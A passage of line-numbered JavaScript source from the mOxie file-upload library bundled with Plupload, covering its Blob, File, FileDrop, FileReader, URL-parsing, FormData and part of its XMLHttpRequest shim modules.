3477 @property size
3478 @type {Number}
3479 @default 0
3480 */
3481 size: blob.size || 0,
3482
3483 /**
3484 Mime type of blob
3485
3486 @property type
3487 @type {String}
3488 @default ''
3489 */
3490 type: blob.type || '',
3491
3492 /**
3493 @method slice
3494 @param {Number} [start=0]
3495 */
3496 slice: function(start, end, type) {
3497 if (this.isDetached()) {
3498 return _sliceDetached.apply(this, arguments);
3499 }
3500 return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type);
3501 },
3502
3503 /**
3504 Returns "native" blob object (as it is represented in connected runtime) or null if not found
3505
3506 @method getSource
3507 @return {Blob} Returns "native" blob object or null if not found
3508 */
3509 getSource: function() {
3510 if (!blobpool[this.uid]) {
3511 return null;
3512 }
3513 return blobpool[this.uid];
3514 },
3515
3516 /**
3517 Detaches blob from any runtime that it depends on and initialize with standalone value
3518
3519 @method detach
3520 @protected
3521 @param {DOMString} [data=''] Standalone value
3522 */
3523 detach: function(data) {
3524 if (this.ruid) {
3525 this.getRuntime().exec.call(this, 'Blob', 'destroy');
3526 this.disconnectRuntime();
3527 this.ruid = null;
3528 }
3529
3530 data = data || '';
3531
3532 // if dataUrl, convert to binary string
3533 if (data.substr(0, 5) == 'data:') {
3534 var base64Offset = data.indexOf(';base64,');
3535 this.type = data.substring(5, base64Offset);
3536 data = Encode.atob(data.substring(base64Offset + 8));
3537 }
3538
3539 this.size = data.length;
3540
3541 blobpool[this.uid] = data;
3542 },
3543
3544 /**
3545 Checks if blob is standalone (detached of any runtime)
3546
3547 @method isDetached
3548 @protected
3549 @return {Boolean}
3550 */
3551 isDetached: function() {
3552 return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string';
3553 },
3554
3555 /**
3556 Destroy Blob and free any resources it was using
3557
3558 @method destroy
3559 */
3560 destroy: function() {
3561 this.detach();
3562 delete blobpool[this.uid];
3563 }
3564 });
3565
3566
3567 if (blob.data) {
3568 this.detach(blob.data); // auto-detach if payload has been passed
3569 } else {
3570 blobpool[this.uid] = blob;
3571 }
3572 }
3573
3574 return Blob;
3575});
3576
3577// Included from: src/javascript/file/File.js
3578
3579/**
3580 * File.js
3581 *
3582 * Copyright 2013, Moxiecode Systems AB
3583 * Released under GPL License.
3584 *
3585 * License: http://www.plupload.com/license
3586 * Contributing: http://www.plupload.com/contributing
3587 */
3588
3589define('moxie/file/File', [
3590 'moxie/core/utils/Basic',
3591 'moxie/core/utils/Mime',
3592 'moxie/file/Blob'
3593], function(Basic, Mime, Blob) {
3594 /**
3595 @class File
3596 @extends Blob
3597 @constructor
3598 @param {String} ruid Unique id of the runtime, to which this blob belongs to
3599 @param {Object} file Object "Native" file object, as it is represented in the runtime
3600 */
3601 function File(ruid, file) {
3602 if (!file) { // avoid extra errors in case we overlooked something
3603 file = {};
3604 }
3605
3606 Blob.apply(this, arguments);
3607
3608 if (!this.type) {
3609 this.type = Mime.getFileMime(file.name);
3610 }
3611
3612 // sanitize file name or generate new one
3613 var name;
3614 if (file.name) {
3615 name = file.name.replace(/\\/g, '/');
3616 name = name.substr(name.lastIndexOf('/') + 1);
3617 } else if (this.type) {
3618 var prefix = this.type.split('/')[0];
3619 name = Basic.guid((prefix !== '' ? prefix : 'file') + '_');
3620
3621 if (Mime.extensions[this.type]) {
3622 name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible
3623 }
3624 }
3625
3626
3627 Basic.extend(this, {
3628 /**
3629 File name
3630
3631 @property name
3632 @type {String}
3633 @default UID
3634 */
3635 name: name || Basic.guid('file_'),
3636
3637 /**
3638 Relative path to the file inside a directory
3639
3640 @property relativePath
3641 @type {String}
3642 @default ''
3643 */
3644 relativePath: '',
3645
3646 /**
3647 Date of last modification
3648
3649 @property lastModifiedDate
3650 @type {String}
3651 @default now
3652 */
3653 lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
3654 });
3655 }
3656
3657 File.prototype = Blob.prototype;
3658
3659 return File;
3660});
3661
3662// Included from: src/javascript/file/FileDrop.js
3663
3664/**
3665 * FileDrop.js
3666 *
3667 * Copyright 2013, Moxiecode Systems AB
3668 * Released under GPL License.
3669 *
3670 * License: http://www.plupload.com/license
3671 * Contributing: http://www.plupload.com/contributing
3672 */
3673
3674define('moxie/file/FileDrop', [
3675 'moxie/core/I18n',
3676 'moxie/core/utils/Dom',
3677 'moxie/core/Exceptions',
3678 'moxie/core/utils/Basic',
3679 'moxie/core/utils/Env',
3680 'moxie/file/File',
3681 'moxie/runtime/RuntimeClient',
3682 'moxie/core/EventTarget',
3683 'moxie/core/utils/Mime'
3684], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) {
3685 /**
3686 Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used
3687 in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through
3688 _XMLHttpRequest_.
3689
3690 @example
3691 <div id="drop_zone">
3692 Drop files here
3693 </div>
3694 <br />
3695 <div id="filelist"></div>
3696
3697 <script type="text/javascript">
3698 var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist');
3699
3700 fileDrop.ondrop = function() {
3701 mOxie.each(this.files, function(file) {
3702 fileList.innerHTML += '<div>' + file.name + '</div>';
3703 });
3704 };
3705
3706 fileDrop.init();
3707 </script>
3708
3709 @class FileDrop
3710 @constructor
3711 @extends EventTarget
3712 @uses RuntimeClient
3713 @param {Object|String} options If options has typeof string, argument is considered as options.drop_zone
3714 @param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone
3715 @param {Array} [options.accept] Array of mime types to accept. By default accepts all
3716 @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support
3717 */
3718 var dispatches = [
3719 /**
3720 Dispatched when runtime is connected and drop zone is ready to accept files.
3721
3722 @event ready
3723 @param {Object} event
3724 */
3725 'ready',
3726
3727 /**
3728 Dispatched when dragging cursor enters the drop zone.
3729
3730 @event dragenter
3731 @param {Object} event
3732 */
3733 'dragenter',
3734
3735 /**
3736 Dispatched when dragging cursor leaves the drop zone.
3737
3738 @event dragleave
3739 @param {Object} event
3740 */
3741 'dragleave',
3742
3743 /**
3744 Dispatched when file is dropped onto the drop zone.
3745
3746 @event drop
3747 @param {Object} event
3748 */
3749 'drop',
3750
3751 /**
3752 Dispatched if error occurs.
3753
3754 @event error
3755 @param {Object} event
3756 */
3757 'error'
3758 ];
3759
3760 function FileDrop(options) {
3761 if (MXI_DEBUG) {
3762 Env.log("Instantiating FileDrop...");
3763 }
3764
3765 var self = this, defaults;
3766
3767 // if flat argument passed it should be drop_zone id
3768 if (typeof(options) === 'string') {
3769 options = { drop_zone : options };
3770 }
3771
3772 // figure out the options
3773 defaults = {
3774 accept: [{
3775 title: I18n.translate('All Files'),
3776 extensions: '*'
3777 }],
3778 required_caps: {
3779 drag_and_drop: true
3780 }
3781 };
3782
3783 options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults;
3784
3785 // this will help us to find proper default container
3786 options.container = Dom.get(options.drop_zone) || document.body;
3787
3788 // make container relative, if it is not
3789 if (Dom.getStyle(options.container, 'position') === 'static') {
3790 options.container.style.position = 'relative';
3791 }
3792
3793 // normalize accept option (could be list of mime types or array of title/extensions pairs)
3794 if (typeof(options.accept) === 'string') {
3795 options.accept = Mime.mimes2extList(options.accept);
3796 }
3797
3798 RuntimeClient.call(self);
3799
3800 Basic.extend(self, {
3801 uid: Basic.guid('uid_'),
3802
3803 ruid: null,
3804
3805 files: null,
3806
3807 init: function() {
3808 self.bind('RuntimeInit', function(e, runtime) {
3809 self.ruid = runtime.uid;
3810 runtime.exec.call(self, 'FileDrop', 'init', options);
3811 self.dispatchEvent('ready');
3812 });
3813
3814 // runtime needs: options.required_features, options.runtime_order and options.container
3815 self.connectRuntime(options); // throws RuntimeError
3816 },
3817
3818 destroy: function() {
3819 var runtime = this.getRuntime();
3820 if (runtime) {
3821 runtime.exec.call(this, 'FileDrop', 'destroy');
3822 this.disconnectRuntime();
3823 }
3824 this.files = null;
3825
3826 this.unbindAll();
3827 }
3828 });
3829
3830 this.handleEventProps(dispatches);
3831 }
3832
3833 FileDrop.prototype = EventTarget.instance;
3834
3835 return FileDrop;
3836});
3837
3838// Included from: src/javascript/file/FileReader.js
3839
3840/**
3841 * FileReader.js
3842 *
3843 * Copyright 2013, Moxiecode Systems AB
3844 * Released under GPL License.
3845 *
3846 * License: http://www.plupload.com/license
3847 * Contributing: http://www.plupload.com/contributing
3848 */
3849
3850define('moxie/file/FileReader', [
3851 'moxie/core/utils/Basic',
3852 'moxie/core/utils/Encode',
3853 'moxie/core/Exceptions',
3854 'moxie/core/EventTarget',
3855 'moxie/file/Blob',
3856 'moxie/runtime/RuntimeClient'
3857], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) {
3858 /**
3859 Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader)
3860 interface. Where possible uses native FileReader, where - not falls back to shims.
3861
3862 @class FileReader
3863 @constructor FileReader
3864 @extends EventTarget
3865 @uses RuntimeClient
3866 */
3867 var dispatches = [
3868
3869 /**
3870 Dispatched when the read starts.
3871
3872 @event loadstart
3873 @param {Object} event
3874 */
3875 'loadstart',
3876
3877 /**
3878 Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total).
3879
3880 @event progress
3881 @param {Object} event
3882 */
3883 'progress',
3884
3885 /**
3886 Dispatched when the read has successfully completed.
3887
3888 @event load
3889 @param {Object} event
3890 */
3891 'load',
3892
3893 /**
3894 Dispatched when the read has been aborted. For instance, by invoking the abort() method.
3895
3896 @event abort
3897 @param {Object} event
3898 */
3899 'abort',
3900
3901 /**
3902 Dispatched when the read has failed.
3903
3904 @event error
3905 @param {Object} event
3906 */
3907 'error',
3908
3909 /**
3910 Dispatched when the request has completed (either in success or failure).
3911
3912 @event loadend
3913 @param {Object} event
3914 */
3915 'loadend'
3916 ];
3917
3918 function FileReader() {
3919
3920 RuntimeClient.call(this);
3921
3922 Basic.extend(this, {
3923 /**
3924 UID of the component instance.
3925
3926 @property uid
3927 @type {String}
3928 */
3929 uid: Basic.guid('uid_'),
3930
3931 /**
3932 Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING
3933 and FileReader.DONE.
3934
3935 @property readyState
3936 @type {Number}
3937 @default FileReader.EMPTY
3938 */
3939 readyState: FileReader.EMPTY,
3940
3941 /**
3942 Result of the successful read operation.
3943
3944 @property result
3945 @type {String}
3946 */
3947 result: null,
3948
3949 /**
3950 Stores the error of failed asynchronous read operation.
3951
3952 @property error
3953 @type {DOMError}
3954 */
3955 error: null,
3956
3957 /**
3958 Initiates reading of File/Blob object contents to binary string.
3959
3960 @method readAsBinaryString
3961 @param {Blob|File} blob Object to preload
3962 */
3963 readAsBinaryString: function(blob) {
3964 _read.call(this, 'readAsBinaryString', blob);
3965 },
3966
3967 /**
3968 Initiates reading of File/Blob object contents to dataURL string.
3969
3970 @method readAsDataURL
3971 @param {Blob|File} blob Object to preload
3972 */
3973 readAsDataURL: function(blob) {
3974 _read.call(this, 'readAsDataURL', blob);
3975 },
3976
3977 /**
3978 Initiates reading of File/Blob object contents to string.
3979
3980 @method readAsText
3981 @param {Blob|File} blob Object to preload
3982 */
3983 readAsText: function(blob) {
3984 _read.call(this, 'readAsText', blob);
3985 },
3986
3987 /**
3988 Aborts preloading process.
3989
3990 @method abort
3991 */
3992 abort: function() {
3993 this.result = null;
3994
3995 if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) {
3996 return;
3997 } else if (this.readyState === FileReader.LOADING) {
3998 this.readyState = FileReader.DONE;
3999 }
4000
4001 this.exec('FileReader', 'abort');
4002
4003 this.trigger('abort');
4004 this.trigger('loadend');
4005 },
4006
4007 /**
4008 Destroy component and release resources.
4009
4010 @method destroy
4011 */
4012 destroy: function() {
4013 this.abort();
4014 this.exec('FileReader', 'destroy');
4015 this.disconnectRuntime();
4016 this.unbindAll();
4017 }
4018 });
4019
4020 // uid must already be assigned
4021 this.handleEventProps(dispatches);
4022
4023 this.bind('Error', function(e, err) {
4024 this.readyState = FileReader.DONE;
4025 this.error = err;
4026 }, 999);
4027
4028 this.bind('Load', function(e) {
4029 this.readyState = FileReader.DONE;
4030 }, 999);
4031
4032
4033 function _read(op, blob) {
4034 var self = this;
4035
4036 this.trigger('loadstart');
4037
4038 if (this.readyState === FileReader.LOADING) {
4039 this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR));
4040 this.trigger('loadend');
4041 return;
4042 }
4043
4044 // if source is not o.Blob/o.File
4045 if (!(blob instanceof Blob)) {
4046 this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR));
4047 this.trigger('loadend');
4048 return;
4049 }
4050
4051 this.result = null;
4052 this.readyState = FileReader.LOADING;
4053
4054 if (blob.isDetached()) {
4055 var src = blob.getSource();
4056 switch (op) {
4057 case 'readAsText':
4058 case 'readAsBinaryString':
4059 this.result = src;
4060 break;
4061 case 'readAsDataURL':
4062 this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src);
4063 break;
4064 }
4065 this.readyState = FileReader.DONE;
4066 this.trigger('load');
4067 this.trigger('loadend');
4068 } else {
4069 this.connectRuntime(blob.ruid);
4070 this.exec('FileReader', 'read', op, blob);
4071 }
4072 }
4073 }
4074
4075 /**
4076 Initial FileReader state
4077
4078 @property EMPTY
4079 @type {Number}
4080 @final
4081 @static
4082 @default 0
4083 */
4084 FileReader.EMPTY = 0;
4085
4086 /**
4087 FileReader switches to this state when it is preloading the source
4088
4089 @property LOADING
4090 @type {Number}
4091 @final
4092 @static
4093 @default 1
4094 */
4095 FileReader.LOADING = 1;
4096
4097 /**
4098 Preloading is complete, this is a final state
4099
4100 @property DONE
4101 @type {Number}
4102 @final
4103 @static
4104 @default 2
4105 */
4106 FileReader.DONE = 2;
4107
4108 FileReader.prototype = EventTarget.instance;
4109
4110 return FileReader;
4111});
4112
4113// Included from: src/javascript/core/utils/Url.js
4114
4115/**
4116 * Url.js
4117 *
4118 * Copyright 2013, Moxiecode Systems AB
4119 * Released under GPL License.
4120 *
4121 * License: http://www.plupload.com/license
4122 * Contributing: http://www.plupload.com/contributing
4123 */
4124
4125define('moxie/core/utils/Url', [], function() {
4126 /**
4127 Parse url into separate components and fill in absent parts with parts from current url,
4128 based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js
4129
4130 @method parseUrl
4131 @for Utils
4132 @static
4133 @param {String} url Url to parse (defaults to empty string if undefined)
4134 @return {Object} Hash containing extracted uri components
4135 */
4136 var parseUrl = function(url, currentUrl) {
4137 var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment']
4138 , i = key.length
4139 , ports = {
4140 http: 80,
4141 https: 443
4142 }
4143 , uri = {}
4144 , regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/
4145 , m = regex.exec(url || '')
4146 ;
4147
4148 while (i--) {
4149 if (m[i]) {
4150 uri[key[i]] = m[i];
4151 }
4152 }
4153
4154 // when url is relative, we set the origin and the path ourselves
4155 if (!uri.scheme) {
4156 // come up with defaults
4157 if (!currentUrl || typeof(currentUrl) === 'string') {
4158 currentUrl = parseUrl(currentUrl || document.location.href);
4159 }
4160
4161 uri.scheme = currentUrl.scheme;
4162 uri.host = currentUrl.host;
4163 uri.port = currentUrl.port;
4164
4165 var path = '';
4166 // for urls without trailing slash we need to figure out the path
4167 if (/^[^\/]/.test(uri.path)) {
4168 path = currentUrl.path;
4169 // if path ends with a filename, strip it
4170 if (/\/[^\/]*\.[^\/]*$/.test(path)) {
4171 path = path.replace(/\/[^\/]+$/, '/');
4172 } else {
4173 // avoid double slash at the end (see #127)
4174 path = path.replace(/\/?$/, '/');
4175 }
4176 }
4177 uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir
4178 }
4179
4180 if (!uri.port) {
4181 uri.port = ports[uri.scheme] || 80;
4182 }
4183
4184 uri.port = parseInt(uri.port, 10);
4185
4186 if (!uri.path) {
4187 uri.path = "/";
4188 }
4189
4190 delete uri.source;
4191
4192 return uri;
4193 };
4194
4195 /**
4196 Resolve url - among other things will turn relative url to absolute
4197
4198 @method resolveUrl
4199 @static
4200 @param {String|Object} url Either absolute or relative, or a result of parseUrl call
4201 @return {String} Resolved, absolute url
4202 */
4203 var resolveUrl = function(url) {
4204 var ports = { // we ignore default ports
4205 http: 80,
4206 https: 443
4207 }
4208 , urlp = typeof(url) === 'object' ? url : parseUrl(url);
4209 ;
4210
4211 return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : '');
4212 };
4213
4214 /**
4215 Check if specified url has the same origin as the current document
4216
4217 @method hasSameOrigin
4218 @param {String|Object} url
4219 @return {Boolean}
4220 */
4221 var hasSameOrigin = function(url) {
4222 function origin(url) {
4223 return [url.scheme, url.host, url.port].join('/');
4224 }
4225
4226 if (typeof url === 'string') {
4227 url = parseUrl(url);
4228 }
4229
4230 return origin(parseUrl()) === origin(url);
4231 };
4232
4233 return {
4234 parseUrl: parseUrl,
4235 resolveUrl: resolveUrl,
4236 hasSameOrigin: hasSameOrigin
4237 };
4238});
4239
4240// Included from: src/javascript/runtime/RuntimeTarget.js
4241
4242/**
4243 * RuntimeTarget.js
4244 *
4245 * Copyright 2013, Moxiecode Systems AB
4246 * Released under GPL License.
4247 *
4248 * License: http://www.plupload.com/license
4249 * Contributing: http://www.plupload.com/contributing
4250 */
4251
4252define('moxie/runtime/RuntimeTarget', [
4253 'moxie/core/utils/Basic',
4254 'moxie/runtime/RuntimeClient',
4255 "moxie/core/EventTarget"
4256], function(Basic, RuntimeClient, EventTarget) {
4257 /**
4258 Instance of this class can be used as a target for the events dispatched by shims,
4259 when allowing them onto components is for either reason inappropriate
4260
4261 @class RuntimeTarget
4262 @constructor
4263 @protected
4264 @extends EventTarget
4265 */
4266 function RuntimeTarget() {
4267 this.uid = Basic.guid('uid_');
4268
4269 RuntimeClient.call(this);
4270
4271 this.destroy = function() {
4272 this.disconnectRuntime();
4273 this.unbindAll();
4274 };
4275 }
4276
4277 RuntimeTarget.prototype = EventTarget.instance;
4278
4279 return RuntimeTarget;
4280});
4281
4282// Included from: src/javascript/file/FileReaderSync.js
4283
4284/**
4285 * FileReaderSync.js
4286 *
4287 * Copyright 2013, Moxiecode Systems AB
4288 * Released under GPL License.
4289 *
4290 * License: http://www.plupload.com/license
4291 * Contributing: http://www.plupload.com/contributing
4292 */
4293
4294define('moxie/file/FileReaderSync', [
4295 'moxie/core/utils/Basic',
4296 'moxie/runtime/RuntimeClient',
4297 'moxie/core/utils/Encode'
4298], function(Basic, RuntimeClient, Encode) {
4299 /**
4300 Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here
4301 it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be,
4302 but probably < 1mb). Not meant to be used directly by user.
4303
4304 @class FileReaderSync
4305 @private
4306 @constructor
4307 */
4308 return function() {
4309 RuntimeClient.call(this);
4310
4311 Basic.extend(this, {
4312 uid: Basic.guid('uid_'),
4313
4314 readAsBinaryString: function(blob) {
4315 return _read.call(this, 'readAsBinaryString', blob);
4316 },
4317
4318 readAsDataURL: function(blob) {
4319 return _read.call(this, 'readAsDataURL', blob);
4320 },
4321
4322 /*readAsArrayBuffer: function(blob) {
4323 return _read.call(this, 'readAsArrayBuffer', blob);
4324 },*/
4325
4326 readAsText: function(blob) {
4327 return _read.call(this, 'readAsText', blob);
4328 }
4329 });
4330
4331 function _read(op, blob) {
4332 if (blob.isDetached()) {
4333 var src = blob.getSource();
4334 switch (op) {
4335 case 'readAsBinaryString':
4336 return src;
4337 case 'readAsDataURL':
4338 return 'data:' + blob.type + ';base64,' + Encode.btoa(src);
4339 case 'readAsText':
4340 var txt = '';
4341 for (var i = 0, length = src.length; i < length; i++) {
4342 txt += String.fromCharCode(src[i]);
4343 }
4344 return txt;
4345 }
4346 } else {
4347 var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob);
4348 this.disconnectRuntime();
4349 return result;
4350 }
4351 }
4352 };
4353});
4354
4355// Included from: src/javascript/xhr/FormData.js
4356
4357/**
4358 * FormData.js
4359 *
4360 * Copyright 2013, Moxiecode Systems AB
4361 * Released under GPL License.
4362 *
4363 * License: http://www.plupload.com/license
4364 * Contributing: http://www.plupload.com/contributing
4365 */
4366
4367define("moxie/xhr/FormData", [
4368 "moxie/core/Exceptions",
4369 "moxie/core/utils/Basic",
4370 "moxie/file/Blob"
4371], function(x, Basic, Blob) {
4372 /**
4373 FormData
4374
4375 @class FormData
4376 @constructor
4377 */
4378 function FormData() {
4379 var _blob, _fields = [];
4380
4381 Basic.extend(this, {
4382 /**
4383 Append another key-value pair to the FormData object
4384
4385 @method append
4386 @param {String} name Name for the new field
4387 @param {String|Blob|Array|Object} value Value for the field
4388 */
4389 append: function(name, value) {
4390 var self = this, valueType = Basic.typeOf(value);
4391
4392 // according to specs value might be either Blob or String
4393 if (value instanceof Blob) {
4394 _blob = {
4395 name: name,
4396 value: value // unfortunately we can only send single Blob in one FormData
4397 };
4398 } else if ('array' === valueType) {
4399 name += '[]';
4400
4401 Basic.each(value, function(value) {
4402 self.append(name, value);
4403 });
4404 } else if ('object' === valueType) {
4405 Basic.each(value, function(value, key) {
4406 self.append(name + '[' + key + ']', value);
4407 });
4408 } else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) {
4409 self.append(name, "false");
4410 } else {
4411 _fields.push({
4412 name: name,
4413 value: value.toString()
4414 });
4415 }
4416 },
4417
4418 /**
4419 Checks if FormData contains Blob.
4420
4421 @method hasBlob
4422 @return {Boolean}
4423 */
4424 hasBlob: function() {
4425 return !!this.getBlob();
4426 },
4427
4428 /**
4429 Retrieves blob.
4430
4431 @method getBlob
4432 @return {Object} Either Blob if found or null
4433 */
4434 getBlob: function() {
4435 return _blob && _blob.value || null;
4436 },
4437
4438 /**
4439 Retrieves blob field name.
4440
4441 @method getBlobName
4442 @return {String} Either Blob field name or null
4443 */
4444 getBlobName: function() {
4445 return _blob && _blob.name || null;
4446 },
4447
4448 /**
4449 Loop over the fields in FormData and invoke the callback for each of them.
4450
4451 @method each
4452 @param {Function} cb Callback to call for each field
4453 */
4454 each: function(cb) {
4455 Basic.each(_fields, function(field) {
4456 cb(field.value, field.name);
4457 });
4458
4459 if (_blob) {
4460 cb(_blob.value, _blob.name);
4461 }
4462 },
4463
4464 destroy: function() {
4465 _blob = null;
4466 _fields = [];
4467 }
4468 });
4469 }
4470
4471 return FormData;
4472});
4473
4474// Included from: src/javascript/xhr/XMLHttpRequest.js
4475
4476/**
4477 * XMLHttpRequest.js
4478 *
4479 * Copyright 2013, Moxiecode Systems AB
4480 * Released under GPL License.
4481 *
4482 * License: http://www.plupload.com/license
4483 * Contributing: http://www.plupload.com/contributing
4484 */
4485
4486define("moxie/xhr/XMLHttpRequest", [
4487 "moxie/core/utils/Basic",
4488 "moxie/core/Exceptions",
4489 "moxie/core/EventTarget",
4490 "moxie/core/utils/Encode",
4491 "moxie/core/utils/Url",
4492 "moxie/runtime/Runtime",
4493 "moxie/runtime/RuntimeTarget",
4494 "moxie/file/Blob",
4495 "moxie/file/FileReaderSync",
4496 "moxie/xhr/FormData",
4497 "moxie/core/utils/Env",
4498 "moxie/core/utils/Mime"
4499], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) {
4500
4501 var httpCode = {
4502 100: 'Continue',
4503 101: 'Switching Protocols',
4504 102: 'Processing',
4505
4506 200: 'OK',
4507 201: 'Created',
4508 202: 'Accepted',
4509 203: 'Non-Authoritative Information',
4510 204: 'No Content',
4511 205: 'Reset Content',
4512 206: 'Partial Content',
4513 207: 'Multi-Status',
4514 226: 'IM Used',
4515
4516 300: 'Multiple Choices',
4517 301: 'Moved Permanently',
4518 302: 'Found',
4519 303: 'See Other',
4520 304: 'Not Modified',
4521 305: 'Use Proxy',
4522 306: 'Reserved',
4523 307: 'Temporary Redirect',
4524
4525 400: 'Bad Request',
4526 401: 'Unauthorized',
4527 402: 'Payment Required',
4528 403: 'Forbidden',
4529 404: 'Not Found',
4530 405: 'Method Not Allowed',
4531 406: 'Not Acceptable',
4532 407: 'Proxy Authentication Required',
4533 408: 'Request Timeout',
4534 409: 'Conflict',
4535 410: 'Gone',
4536 411: 'Length Required',
4537 412: 'Precondition Failed',
4538 413: 'Request Entity Too Large',
4539 414: 'Request-URI Too Long',
4540 415: 'Unsupported Media Type',
4541 416: 'Requested Range Not Satisfiable',
4542 417: 'Expectation Failed',
4543 422: 'Unprocessable Entity',
4544 423: 'Locked',
4545 424: 'Failed Dependency',
4546 426: 'Upgrade Required',
4547
4548 500: 'Internal Server Error',
4549 501: 'Not Implemented',
4550 502: 'Bad Gateway',
4551 503: 'Service Unavailable',
4552 504: 'Gateway Timeout',
4553 505: 'HTTP Version Not Supported',
4554 506: 'Variant Also Negotiates',
4555 507: 'Insufficient Storage',
4556 510: 'Not Extended'
4557 };
4558
4559 function XMLHttpRequestUpload() {
4560 this.uid = Basic.guid('uid_');
4561 }
4562
4563 XMLHttpRequestUpload.prototype = EventTarget.instance;
4564
4565 /**
4566 Implementation of XMLHttpRequest
4567
4568 @class XMLHttpRequest
4569 @constructor
4570 @uses RuntimeClient
4571 @extends EventTarget
4572 */
4573 var dispatches = [
4574 'loadstart',
4575
4576 'progress',
4577
4578 'abort',
4579
4580 'error',
4581
4582 'load',
4583
4584 'timeout',
4585
4586 'loadend'
4587
4588 // readystatechange (for historical reasons)
4589 ];
4590
4591 var NATIVE = 1, RUNTIME = 2;
4592
4593 function XMLHttpRequest() {
4594 var self = this,
4595 // this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible
4596 props = {
4597 /**
4598 The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout.
4599
4600 @property timeout
4601 @type Number
4602 @default 0
4603 */
4604 timeout: 0,
4605
4606 /**
4607 Current state, can take following values:
4608 UNSENT (numeric value 0)
4609 The object has been constructed.
4610
4611 OPENED (numeric value 1)
4612 The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method.
4613
4614 HEADERS_RECEIVED (numeric value 2)
4615 All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available.
4616
4617 LOADING (numeric value 3)
4618 The response entity body is being received.
4619
4620 DONE (numeric value 4)
4621
4622 @property readyState
4623 @type Number
4624 @default 0 (UNSENT)
4625 */
4626 readyState: XMLHttpRequest.UNSENT,
4627
4628 /**
4629 True when user credentials are to be included in a cross-origin request. False when they are to be excluded
4630 in a cross-origin request and when cookies are to be ignored in its response. Initially false.
4631
4632 @property withCredentials
4633 @type Boolean
4634 @default false
4635 */
4636 withCredentials: false,
4637
4638 /**
4639 Returns the HTTP status code.
4640
4641 @property status
4642 @type Number
4643 @default 0
4644 */
4645 status: 0,
4646
4647 /**
4648 Returns the HTTP status text.
4649
4650 @property statusText
4651 @type String
4652 */
4653 statusText: "",
4654
4655 /**
4656 Returns the response type. Can be set to change the response type. Values are:
4657 the empty string (default), "arraybuffer", "blob", "document", "json", and "text".
4658
4659 @property responseType
4660 @type String
4661 */
4662 responseType: "",
4663
4664 /**
4665 Returns the document response entity body.
4666
4667 Throws an "InvalidStateError" exception if responseType is not the empty string or "document".
4668
4669 @property responseXML
4670 @type Document
4671 */
4672 responseXML: null,
4673
4674 /**
4675 Returns the text response entity body.
4676
4677 Throws an "InvalidStateError" exception if responseType is not the empty string or "text".
4678
4679 @property responseText
4680 @type String
4681 */
4682 responseText: null,
4683
4684 /**
4685 Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body).
4686 Can become: ArrayBuffer, Blob, Document, JSON, Text
4687
4688 @property response
4689 @type Mixed
4690 */
4691 response: null
4692 },
4693
4694 _async = true,
4695 _url,
4696 _method,
4697 _headers = {},
4698 _user,
4699 _password,
4700 _encoding = null,
4701 _mimeType = null,
4702
4703 // flags
4704 _sync_flag = false,
4705 _send_flag = false,
4706 _upload_events_flag = false,
4707 _upload_complete_flag = false,
4708 _error_flag = false,
4709 _same_origin_flag = false,
4710
4711 // times
4712 _start_time,
4713 _timeoutset_time,
4714
4715 _finalMime = null,
4716 _finalCharset = null,
4717
4718 _options = {},
4719 _xhr,
4720 _responseHeaders = '',
4721 _responseHeadersBag
4722 ;
4723
4724
4725 Basic.extend(this, props, {
4726 /**
4727 Unique id of the component
4728
4729 @property uid
4730 @type String
4731 */
4732 uid: Basic.guid('uid_'),
4733
4734 /**
4735 Target for Upload events
4736
4737 @property upload
4738 @type XMLHttpRequestUpload
4739 */
4740 upload: new XMLHttpRequestUpload(),
4741
4742
4743 /**
4744 Sets the request method, request URL, synchronous flag, request username, and request password.
4745
4746 Throws a "SyntaxError" exception if one of the following is true:
4747
4748 method is not a valid HTTP method.
4749 url cannot be resolved.
4750 url contains the "user:password" format in the userinfo production.
4751 Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK.
4752
4753 Throws an "InvalidAccessError" exception if one of the following is true:
4754
4755 Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin.
